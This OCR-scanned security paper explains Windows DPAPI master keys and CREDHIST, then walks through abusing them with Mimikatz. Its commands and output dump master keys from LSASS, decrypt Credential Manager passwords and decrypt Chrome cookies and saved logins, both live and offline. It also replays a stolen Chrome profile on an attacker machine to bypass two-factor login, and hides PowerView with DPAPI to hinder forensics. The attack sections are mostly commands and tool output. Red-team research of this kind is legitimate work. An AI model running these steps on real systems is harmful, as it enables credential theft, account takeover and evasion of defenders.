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Abusing Windows Data Protection API

1. Introduction

This paper will cover what is known as Windows DPAPI (Data Protection Application
Programming Interface), what is its use, how it works and how to abuse it from a penetration
tester’s point of view.

2. What |s DPAPI?

DPAPI (Data Protection Application Programming Interface) is a simple cryptographic application
programming interface available as a built-in component in Windows 2000 and later versions of
Microsoft Windows operating systems. This APl is meant to be the standard way to store
encrypted data on a computer’s disk that is running a Windows operating system. DPAPI provides
an easy set of APIs to easily encrypt “CryptProtectData()” and decrypt “CryptUnprotectDatal()”
opague data "blobs” using implicit crypto keys tied to a specific user or the system. This allows
applications to protect user data without having to worry about things such as key management.
DPAPI is used by many popular applications including Internet Explorer, Google Chrome and
Skype to encrypt their passwords. It is also used by Windows itself to store sensitive information

such as EFS certificates and WiFi keys (WEP and WPA).

3. What Is the Master Key?

A user's Master Key is a binary file that contains the key which is used for creating the private
primary encryption key in all DPAPI blobs. Since the Master Key encrypts a user's private keys,
the master key itself requires serious protection. To protect the Master key, Microsoft used the
User's password for encrypting and protecting the Master Key. Every Master Key has a unique
name (GUID). Each DPAPI blob stores that unique identifier. In other words, the Master Key's GUID
is the key's "link" to the DPAPI blob. The Master Key is stored in a separate file in the Master Key
storage folder along with other system data. MKSF is a special location on disk where Master
Keys are stored. User's Master Keys are stored in:

o "%APPDATA%/Microsoft/Protect/%SID%" for user Master Keys.
o "%WINDIR%/System32/Microsoft/Protect” for system Master Keys.
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§-1-53-21-1202477814-2460659193-2529585878-1105 - a X
Share View 9
« AppData » Roaming » Microsoft » Protect » 5-1-3-21-1202477814-2460659193-2529585878-1105 v & | Search 5-1-3-21-1202477814-.. @
A [ Name Date modified Type Size
Bs
(72f6895-3246-4fb1-8047-3e93 Teaeacd? 4/4/2020 211 PM System file 1KB
220f432b-1c93-46ad-b637-6183efcfcdf 4/4/2020 211 PM System file 1KB
o BK-TESTDOMAIN 71272018 11:45 PM System file 1KB
te d0389403-2352-49b8-9%cc-20ebd2c 3 2eeT 4/4/2020 211 PM System file 1KB
Preferred 3/26/2020 1:40 PM System file 1KB
v

Figure 1: User Master Keys

In a decrypted form, the master key example will look like this:

ad6ébal6e7b374a095da1d00f29844005a28cf810d996e41782aac0b7adbbeacstc78262410b438f
44508a444aafb5cf14d8020chbff40fcfbc943084c9e9balb38

4. What Is CREDHIST?

It is clearly visible that the security of the Master Key is dependent on the user’s password, ergo
to obtain it and decrypt it, we need to know the user’'s password. However, what happens if the
user changes his password? Here comes the purpose of DPAPI Credential History (CREDHIST)
which is used to store all previous user’'s passwords. It is also encrypted with the user's current
password and saved in a stack structure. Whenever the operating system tries to decrypt a
Master Key, then it uses the user’'s current password, to decrypt the first entry in the CREDHIST.
The decrypted CREDHIST entry is then used to decrypt the required Master Key, and if it fails, it
proceeds to decrypt the second entry in CREDHIST and uses its output to try to decrypt the Master
Key until the correct CREDHIST entry that successfully decrypts the Master Key is found.

Copyright © 2020 Haboob Contact Haboob: info@haboob.sa




Abusing Windows Data Protection API

Last passweord

ﬁ'ﬁ!ﬂrmnt

Passweord chain 3

4 pﬁﬂfnmt

Passweord e¢hain 2

4 X!Tﬂrar.mn'?:
/‘/’\:’—;f? First password

user

word |
B CREDHIST footer

Figure 2: DPAPI Credential History (CREDHIST) Stack

5. How DPAPI Works?

DPAPI encryption is based on a user’s password, therefore, data encrypted under one account

cannot be decrypted under another account. DPAPI allows restricting access to data even within
one account by setting an additional secret (entropy). Thus, unless it knows the additional secret,

one application cannot access data protected by another application.
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Figure 3: DPAPI Encrypt and Decrypt Functions

Assuming that a secret is to be stored by an application securely using DPAPI, this is the

process that will take place to achieve that goal:

1. The secret is passed by the application to the Data Protection APl through a call to
“CryptProtectDatal)".

2. DPAPI generates a user’s encryption key.

3. DPAPI generates a random master key (if it is not already present) and encrypts it with the

user's derived key, which is derived from user credentials. If the master key was already

available, it will also be decrypted with this user’'s derived key.
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Abusing Windows Data Protection API

4. DPAPI will generate a session key every time a call to “CryptProtectData()" is made. This session
key is derived from the “master key", arbitrary (static) data and possibly (optional) the entropy

that the user provides.

5. The password is encrypted with this session key. The session key itself is not saved. The only
thing that is stored is the random data that has been used. DPAPI can decrypt the data itself

(with a call to “CryptUnprotectDatal()") because it has the master key, the random data and the

same entropy.

6. Using DPAPI With PowerShell

There are classes that nicely wrap this functionality already in the “.NET" framework, and
therefore can be utilized by PowerShell. The [System.Security.Cryptography.ProtectedData] class

provides an easy way to use the DPAPI with its Protect() and Unprotect() methods.

Another nice feature of the DPAPI is the ability to use the machine account to derive the encryption
key instead of the current user’s login credentials. This will be useful if we want to decrypt the
data in other users’ contexts in the same host for example doing persistence for multiple users

on a host.

The [Security.Cryptography.DataProtectionScope] enumeration contains the CurrentUser (0x00)

and LocalMachine (0x01) values which let us specify which scope to use.

Here is an example using these methods through PowerShell:

hine)
y.DataProtectionScope]: :LocalMachine)))

Figure 4: DPAPI with PowerShell
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In this example we used DPAPI “Protect()” and “Unprotect()” methods to encrypt the
“PowerView"” PowerShell script by passing it to PowerShell's Invoke-Expression to load it in
memory. “$EncryptedBytes” which contains the encrypted script, can also be stored on disk,
registry, or somewhere else. So, if the artifacts are pulled during forensics and threat hunting
activities it will be hard to decrypt the collected data outside the machine where the data were

collected from.

7. Encrypting and Decrypting Data with DPAPI using “Mimikatz”
As we did previously, it is also possible to utilize DPAPI to encrypt and decrypt data through the
DPAPI module in “Mimikatz” tool.

For example, we can use the “Protect” command and add the text we want to encrypt inside the

“/data” option. Also, optionally we can save the encrypted data on disk using the “/out” option, as

the following:

Figure 5: Encrypt Data using Mimikatz
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If we take a closer look at the "Mimikatz" output in (Fig.5), we can see “guidMasterKey” which is

the Master Key Name/ldentifier that is used to encrypt the data.

As a result, a file with the name “encryptedData.txt” will be created and it will contain our data

in encrypted format:

[ encryptedDatatt 3 ‘
BN = O V0 L U LU LSl O [NAKRDC L G U LM S ORI D LU LU LI CE F SR et MU LINU LINU L NU LS TN LINU LN LINU LINU L] DLENULIN U LU LIS OE]

NULNULNULGDC 1 [DLE SRam . SANVE 110835 RV EA 1) b=t 111 L[ NU L[N LNUL|SOANULINULL
TR AL BB T 2 Y ERRIS LA "< E3-+kUek] 0. 6" k2k 971« CAMRNMEER T5: L0/ =REt (AXEHD

2 §}RE"enaliaeet® *p : MERIT4: £5 EET 4 M0 B Elio- 119
0870 @85 ¢ IAINATNACR - BTy Xanc@M0a0a0W| $ACt:. ~4- B (AEBEK3-T<ySc « ¥4 M MB=ABEM] yifi+a 12 M

Figure 6: Encrypted Data

As can be seen, we do not need to deal with encryption keys or passwords, the operating system

is managing everything related to the encryption and decryption of the data.

"dpapi module” can be used for decryption as well, using the option “/in:" to specify the data to be
decrypted, which is also called a Blob. Moreorver, the “/unprotect” switch is used to tell

“Mimikatz” to decrypt the data, otherwise it will be read and displayed without decryption.

dwHm

pbHm

pbHm
duDa
phDa

Figure 7: Decrypting Data protected by DPAPI using “Mimikatz”
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Abusing Windows Data Protection API

“Credential Manager” is where Windows stores login credentials like usernames, passwords and

addresses. The credentials could be used on the same machine or used to access other resources

on the network such as websites. The credentials encrypted on disk via DPAPI.

[El Credential Manager

o @ » Control Panel » User Accounts » Credential Manager
Control Panel Home -
Manage your credentials

Wiew and delete your saved logon information for websites, connected applications and networks.

q:% F’ Web Credentials 5 r Windows Credentials
e, e,
B =

Back up Credentials Restore Credentials

Windows Credentials Add a Windows credential

Mo Windows credentials.

Certificate-Based Credentials Add a certificate-based credential

Mo certificates.

Generic Credentials Add a generic credential
TERMSRV/192.168.29.253 Meodified: Today
Internet or network address: TERMSRV/192.168.28.253
User name: TESTDOMAINVKhaled
Password: ssesssss
Persistence: Local computer
Edit Remowve
See also wvirtualapp/didlogical Modified: 5/20/2020

User Accounts SSO_POP_Device Modified: Today

Figure 8: Windows Credential Manager

These credentials are stored within the user’s directory in the following path:

“C:\Users\<username>\AppData\Local\Microsoft\Credentials\*"

PS C:\Users\Khaled> Get-ChildItem C:\Users\Khaled\AppData\lLocal\Microsoft\Credentials

Directory: C:\Users\Khaled\AppData\lLocal\Microsoft\Credentials

LastWriteTime Length Name

420 28FC9B96D2441A419643446AFBS7DEB7
11076 DFBE7@A7E5SCC19A398EBF1B96859CESD

PS C:\Users\Khaled>

Figure 9: Listing of User Credentials Files through PowerShell
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Since these files are encrypted using DPAPI, let's take a look at it using “Mimikatz"™:

#4 dpapi::cred /in:C:\Users\Khaled\AppData\Local\Microsoft\Credentials\28FC9BI6D2441A419643446AFBI7DABT

dwVersion : 00000001 - 1

guidProvider : {df9d8cd-1501-11d1-8c7a-00c04fc297eb}
dwMasterKeyVersion : 00000001 - 1

[ guidiasterkey : {2207452b-1c03-46ad-b637-6183efe6cdf) |
dwFlags . 20000000 - 536870912 (system ; )
dwDescriptionlen : 00000630 - 43

szDescription : Local Credential Data

algCrypt - 80996663 - 26115 (CALG_3DES)
dwAlgCryptlen : 0000000 - 192

dwSaltlen : 00000010 - 16

phSalt : ca39bb76edf209d551d05e641cc96023
dwHmacKeyLen : 00600000 - 0

pbHmackKey

algHash : 00003004 - 32772 (CALG_SHAL)
dwAlgHashLen : 0000000 - 160

dwHmac2KeyLen : 00000010 - 16

pbHmack2Key : add228d66cfd8144ab5fdn1903914818

: 81377defd43a36bef5749e14bAc1hc43962c6dbasfo8fdbact12f8e531a44828efa84088fe63724cfAd257h2c1d4100F15F5a9f1a01e96f64F95d1chee35383b1c3bBehdadf 76echahs2bf 764a2707cdaddbBas1e90bdd9Ac 7c260edeh)
22c41a6a460754b9f48783fdcB7b2597ba3Bb3fce2cddcb2bf 7bbf56c354810b8022a57a593f62fe652037ebcBe3eadde8BR448e92afbT62cAf ccedddd2eB5ed4f2513c4Teaaebe]6e7207358139de628c 7hdBA455955772764f f8c9e33added1a5F1a220ac332663f
2b37h3a743cd8279caaf17fd85c67aech47cI8eTh86ed12c3

dwSignlen : 00000014 - 20
phSign : AfbAfacef@dace8f873b2a8d626e9a00fa9f12ce

Figure 10: Output of Mimikatz "dpapi::cred" command
The two most important fields in the output in (Fig.10) are the “guidMasterKey" field which is the
name/ldentifier of the master key that is used to encrypt and decrypt the data, and the “pbData”

field which contains the data we want to decrypt.

Using "“Mimikatz" there is a good chance that we find the required master key above, stored in
the LSASS cache:

mimikatz # sekurlsa::dpapi

Authentication Id : @ ; 2571720 (0@6AAA0A:00273dc8)
i : Interactive from 1
: Khaled
: TESTDOMAIN
Logon Server : WIN-4QHPFSI8002
Logon Time : 5/21/2020 1:18:34 AM
SID : 5-1-5-21-1202477814-2460659193-2529585878-1105
[900B06A0 ]
[* quIp . {220f452b-1c93-46ad-b637-6183efc69cdF}
* Time : 6/4/2020 1:31:04 AM
[ * MasterKey : adbbaPbe7b374a@95daldeef29844005a28cf810d996e41782aacBb7ad56eacdc78262410b438144508a444aaf5¢f14d8620cbbffA8fcfbc943084c9e9badb3s
* shal(key) : 8a93f7007d2f3d0226b29181664c414e418c3cee
[00600001]
* QUID : {07216895-3246-Afb1-8047-3e937eacacd’}
* Time : 5/21/2020 1:18:35 AM
* MasterKey : ff694a486da78afee79b6933che621ed954c9e8895bd8bAccA7778267d483a2cc9654decadbl948dd9ach39fF61878719ad71fc9f0e993a483f75cIb8act958
* shal(key) : 483b825671fa3e56975bcefadlf83a920bb34fea

Figure 11: Obtaining the “Master Key” via “Mimikatz”

“GUID" is an identifier of a master key file. "MasterKey" is the master key itself.
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Since we now have obtained the master key that is used to encrypt the credential file let's use it

fto decrypt the the credential file using "Mimikatz" command:

mimikatz # dpapi:

:cred /in:C:\Users\Khaled\AppData\Local\Microsoft\Credentials\28FC9B96D2441A419643446AFBO7DBBY /masterkey:adebabbe?b374a095daldeat?

0344885a28c T810d996e41782aacPb7ad56eacdc78262410b43874450834443a 5 F14d8020cbbff48f cfbc9430884c9e9banb38

**BLOB**
dwVersion
guidProvider

: Beaoasel - 1
: {df9d8cd@-1501-11d1-8c7a-88c84fc297eb}

dwiasterKeyVersion : @oeeesel - 1

guidMasterkey
dwFlags

dwDescriptionLen

szDescription

algCrypt
dwAlgCryptlen
dwSaltlen
pbsalt
dwHmacKeylen
pbHmackKey
algHash
dwAlgHashLen
dwHmac2KeyLen
pbHmack2Key
dwDatalen
pbData

- {228f452b-1c93-463d-b63?-6183efc69cdf}
: 20000800 - 536870912 (system ; )

: DROBEA3D - 43

: Local Credential Data

: @0Be6E@3 - 26115 (CALG 3DES)

: BReGsece - 192

: BPB0eE18 - 16

: ca39bb76edf2@89d551d@5e641cc96023
: DoBoaRee - @

: 08003804 - 32772 (CALG_SHAL)
. Bopeecad - 160
: BBpeale - 16
: ad4228d66cfd8144ab5Td61903914518
: bRoGoBed - 224
: 81f377defd43a38bef5749e14bBc1bc43962chdaBd 58 dbacf12ff8e531a44828efa84088Te63724cf4d257b2c1d4100T15T5a9T1aB1e96T6495d1chec3

5383b1c3b8c6dadf?6EC63h52hf?64aZ?B?cda4BhBaSlegﬁhdBQBC?CQEBE4E522c41a63468?54b9f48?83fdc8?b259?baBBthc52c4dcb2bf?hbf56c354818h882235f3593f62f565283
7ebc@e3ead@edd0448e92afbf62caf ccedddd2e85e0df2513c47eaachcl6e7207358139de6T28c7bdBd455955772764f f8c9e33a44ed1a5T1a220ac 332663 2b37b3a743cdB279caatl?
fd85ch7aec@47caBe7bi6edl2c3

dwsignlen
pbsign

: Baepealds - 28
: 4fbaTacef@dabedf873b2a8d626e9am@fa9f12ce

Decrypting Credential:

* yolatile cache:
: ad6baBRe7b374a@95daldeat 2984488522 8cT818d996e41782aacAb7adSheacd c78262410b438F44508a444aaT5cT14d8828cbbTT48f cTbc943884c9e9babb3a

* masterkey
**CREDENTIAL**
credFlags
credsize
credUnke

Type
Flags
LastWritten

Persist

AttributeCount :
. BOBe6Ree - @

. BOBeenes - 6

: LegacyGeneric:target=TERMSRV/192.168.29.253
: (null)

¢ (null)

: (null)

unk@

unkl
Targethame
UnkData
Comment

GUID:{228f452b-1c93-46ad-b637-6183efc69cdf}; KeyHash: 8Ba93f7007d2f 3de226b29T81664c414e418c3cee; Key :available

: Doopoe3e - 48
: BeoeeRds
. Boopasee - @

: @00e0eal - 1 - generic
. BoopoBoe - @

: 6/3/2020 10:42:15 PM
unkFlagsOrsize :
: @epeesa2 - 2 - local machine

poaaRals - 24

bopoooeR - @

TargetAlias
UserName

Attributes

: TESTDOMAIN\Khaled
CredentialBlob :
1 @

Passwordl

z#

Figure 12: Clear-text password

We've been able to get clear-text credentials that can be abused for lateral movement.
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If we run “dpapi::icache”, we can see that “Mimikatz” stores a cache of extracted master keys.

mimikatz # dpapi::cache

ailable
ilable

y:available
available

imimikat: #
Figure 13: dpapi cache
These master keys can be saved for later use on a different machine with the following

“Mimikatz” command:

“dpapi:cache /save /file:cache.bin”
mimikatz # dpapi::cache /save /file:cache.bdin

CREDENTIALS cache

MASTERKEYS cache

o

]

"cache.bin': OK

Figure 14: Save the “MasterKeys” cache via “Mimikatz”
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9. Abusing DPAPI to Extract “Chrome” Browser Credentials
As mentioned before, if we have compromised a system and our malicious process is running
under a particular user's context, we can decrypt its DPAPI secrets without knowing their logon

password.

Chrome uses DPAPI to store two files which are “Cookies” and “Login Data”. Both files are “sqlite3”

databases in which sensitive data is stored as DPAPI blobs.

e (Cookies database file location:
“%localappdata%\Google\Chrome\User Data\Default\Cookies”

e Saved login data file location:
“%localappdata%\Google\Chrome\User Data\Default\Login Data”

The actual cookie values are DPAPI encrypted with the user's master key, which in turn is
protected by the user’s password. The following figure, shows how to decrypt Chrome browser

cookies database:

mimikatz #|dpapi::chrome fin:"%localappdata%\GoogleyChrome'User Data‘\Default‘Cookies™ funprotect
» Encrypted K found in local state file

> Encrypted K seems to be protected by DPAPI

# ing Cry r ctData API

ad29+5+1de521bd44d23b

Figure 15: Decrypting Chrome Cookies Database File
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Since we are in the same user’s context we can decrypt cookie values without knowing the user’s

password. We can do the same with “Login Data” file to extract chrome login passwords:

mimikatz

> Encr}p
ing C

J/ { https://twitter.com/login )
n.dpapi@outl com
tUnprotectData API

( https:/faccounts.google.com/signin,
.dpapil@gmail.
tUnprotectData API

mimikatz

Figure 16: Extracting Chrome Login Passwords

We've been able to extract cookies and login passwords from chrome using DPAPI live on the
compromised machine. Also, it is possible to extract these credentials on a different machine

(Offline Decryption), using the following:

1. The Encrypted Master key used to encrypt “%localappdata%\Google\Chrome\User
Data\Default\Login Data".

2. The User’'s password to decrypt the Master key.

3. The User's SID number. (SID can be taken from the folder name of the encrypted master

key)

Ps C:\Users'John'AppData'RoamingMicrosoft! Protect’5-1-5-21-2918049317-357382546-3295940445-1000> Get-ChildItem
Directory: C:%Users'John'AppData'RoamingMicrosoft)\Protect)5-1-5-21-2918049317-357382546-3295940445-1000

Mode LastWriteTime Length Name

020 12:13 ! 468 454872c3-906e-4f0c-be3a-5863bfIces6f
020 12:13 ¢ 24 Preferred

Figure 17: Obtaining SID Number and Master Key

Copyright © 2020 Haboob Contact Haboob: info@haboob.sa




Abusing Windows Data Protection API

Once we have all the information required, we can decrypt the master key offline on a different

machine using “Mimikatz":

Figure 18: Decrypting Master Key (Offline)

As seen on (Fig.18), the decryption succeeds, and the master key value is successfully obtained.
Finally, comes the step of decrypting chrome’s “Login Data” file using the decrypted master key,

which can be done using “Mimikatz"” as well, as in shown in the following figure:

Copyright © 2020 Haboob Contact Haboob: info@haboob.sa
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ogin Data” /mas 'H 0 (925468062 ca fbf7adasabsad

abb

[/login.live.com/ppsecur

: Jjohn.dp
Un

Figure 19: Extracting Chrome Login Passwords Offline

We've been able to extract chrome passwords in our attacking machine successfully.

10. Abusing the Master Keys to Steal Browser Sessions and Bypass
2FA

What we did in decrypting and obtaining credentials using DPAPI and Mimikatz is great. However,
nowadays most accounts are protected with two-factor authentication, an amazing way to bypass
two-factor authentication is by stealing browser’s sessions and user cookies. We can achieve that
by stealing browser's data and the target's Master keys then recreating the session on our

attacking machine.

For demonstration a Twitter account is created with 2FA authentication enabled and is used on

the compromised machine.

We will start by simply copying chrome’s user profile files and “Local State” file from the target
machine to our attacking machine, which can be found here:

“C:\Users\<username>\AppData\Local\Google\Chrome\User Data\Default”

Copyright © 2020 Haboob Contact Haboob: info@haboob.sa
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PSs C:hZUsersiykKhaledhwappDataZLocalZ\GooglehZChromeiZUser Data> 1Is

Directory: C:“Usersh'kKhaled\saAappDatasLocalZsGoogledNChromehZ\User Data

-
P
n

tWriteTime Length Name
BrowsermMetrics
CertificateRevocation
Crashpad
Crowd Derny
Default
FileTypePolicies
InterventionPolicyDatabase
MEIPreload
OriginTrials
PepperF lash
pnacl
PnaclTrans lationCache
RecoveryImproved
safe Browsing
SafetwTips
Shadercache
SSLErrorassistant
Subresource Filter
SwReporter
ThirdPartyModuleL istb4d
TLSDeprecationConftig
widewvineCdm
4194304 BrowserMetrics-—-spare.pma
0 chrome_debug. Tog
1048576 CrashpadMetrics—-actiwve.pma
451603 en-uUsS-9-0_bdic
0O First Run
118 Last Browser
12 Last vVersion
52001 Local State
O TockTiTe
189264 Module Info Cache
20480 safe Browsing Cookies
0 safe Browsing Cookies—journal
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Figure 20: Listing of Chrome User Data Folder Contents (2)
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Now we need to decrypt the master key used to encrypt chrome’s data. If we know the user’s
password, we can easily decrypt the master key for the user as we did previously. Since we are
in a machine that is joined in a domain let's take advantage of MS-BKRP (BackupKey Remote

Protocol) and ask the domain controller to decrypt it for us using the “/rpc” switch in “Mimikatz":

algCrypt ([
pbK : 4bafbha7 ] B 57 fed] GafBecc2bldeic
lcccbabcagda

Figure 22: Decrypting the Master Key with RPC
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Going back to our attacking machine, we will copy the chrome profile files that we've collected

from the target machine to “C:\Users\<Username>\AppData\Local\Google\Chrome\User Data\
Default”, and “Local State” file to “C:\Users\<Username>\AppData\Local\Google\Chrome\User
Data\".

1 =
Home Share View [ 2]

= - > John » AppData » Local » Google > Chrome » UserData ~ o O Search User Data

Name Date modified Type Size &
s Quick access

MEIPreload 6/4/2020

03 PM File folder
B Desktop OriginTrials 6/4/1 w Replace or Skip Files — =
& Downloads PepperFlash 6/4/.
[Z Documents pruact oral Copying 1item from chrome-data to User Data
& Pictures Recoverylmproved B/4/ The destination already has a file named “Local State”
backup Safe Browsing
b Music SafetyTips ~ Replace the file in the destination
& videos ShaderCache
os SSLErrorAssistant " skip this file
Subresource Filter
@ OneDrive SwReporter L% Compare info for both files
ThirdPartyModuleList64
B This PC TLSDeprecationConfig
= Network WidevineCdm More details
[ BrowserMetrics-spare.pma 6/4/ 202U FUTPI PIEFiTE TV KE
|1 cCrashpadMetrics-active.pma 6/41. 08 PM PMA File 1,024 KB

[ First Run 6/4/. PM File 0KB
| ] Last Version File 1KB
| ] Local State File 51KB
|1 lockfile File DKB
|_| Medule Info Cache File 103 KB
[] Safe Browsing Cookies File 20 KB
[] Safe Browsing Cookies-journal File 0KB v

28 items =
Figure 23: Copy Local State File

= -
Home Share View 0
« v 4 » John » AppData » Local » Google » Chrome » UserData » Default ~ | O 0 Search Default
~
Name Date modified Type Size ~
3 Quick access
AutofillStrikeDatabase 6/4/. i File folder
[ Desktop
blob_storage f File folder
‘ Downloads BudgetDatabase File folder
|=| Documents Cache Filee—ts
& Pictures Code Cache File| *+ Replace or Skip Files - X
backup data_reduction_proxy_leveldb i Copying 33 items from chrome-data to Default
J», Music databases File]
- Extension Rules el The destination has 35 files with the same names
Videos
” Extension State File]
* Extensions File| ~" Replace the files in the destination
@ OneDrive Feature Engagement Tracker File|
GCM Store File] '? Skip these files
& This PC [
GPUCache File]
& Network IndexecDB File] 3 Let me decide for each file
Local Storage File|
Platform Motifications Filgl .
More details
Service Worker Filg]
Session Storage File folder
shared_proto_db File folder
Site Characteristics Database File folder
Storage File folder
Sync Data File folder
Sync Extension Settings File folder ]
66 items

Figure 24: Copy User Profile Files
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Now in order to let chrome being able to use DPAPI to decrypt these files that we copied, we
have to recreate the master key in our attacking machine:

Bb7adS6eacdcial

3efcb9cdf}

31bebaleds2 b38c874ba%dabbl9bdd@de391642c875cfd5¢

Scdf' (hidden

mimikatz #

Figure 25: Recreating the Master Key on the Attacking Machine

Here we are using the same “guid” and “"key"” that we extracted from the target machine.
“/password” switch is to provide the user password of our attacking machine (as explained
previously, DPAPI is using user's password to encrypt the master keys).

After the key is created, we will copy it to where master keys are located, which is in this
directory: “C:\Users\<User>\AppData\Roaming\Microsoft\Protect\<User-SID>"

¥ = | §-1-5-21-2918049317-357382546-3295040445-1000 - O X
“ Home Share Wiew e
« v « Roaming » Microsoft » Protect » 5-1-3-21-2918049317-357382546-32959404453-1000 v O Search 5-1-5-21-2918049317-337382546-3293940445-10...

Name Date modified Type Size

st Quick access

220f452b-1c93-46ad-b637-6183efcb9cdf 6/4/ System file 1KB
[ Desktop =

434872¢3-906e-4f0c-beda-5863bfIce6f System file 1KB
; Downloads Preferred System file 1KB
|5 Documents
| Pictures

Figure 26: Master Key After Copying it
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Now when we open chrome and navigate to twitter.com on our attacking machine, we can see

that we're already logged on and bypassed two-factor authentication!

W Home / Twitter » =+ — [m] 2
< c & twitter.com/home ® % e
Home g
a . a appe g?
P
Q BEE OB
= Welcome to Twitter!
This is the best place to see what's happening in your world. Find some people and
m topics to follow now.
o
o
[ ]
-

Figure 27: Successfully replicated the stolen session and gained access bypassing 2FA
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11. Conclusion

DPAPI provides some significant advantages and makes the life of a hacker/red teamer a little
harder. It robustness is based on the fact that as a user/programmer, you don't have to worry
about the algorithm, the key used or key management in general, as everything is handled by
the operating system. In this paper we looked into how it is possible to overcome this obstacle
and use it to our advantage where the programmer/user will be assured of security where it is
more like obscurity. Some examples of decrypting and abusing DPAPI and master keys were
demonstrated. The main thing is to understand how it can be used during Pentesting and Red

Teaming activities.
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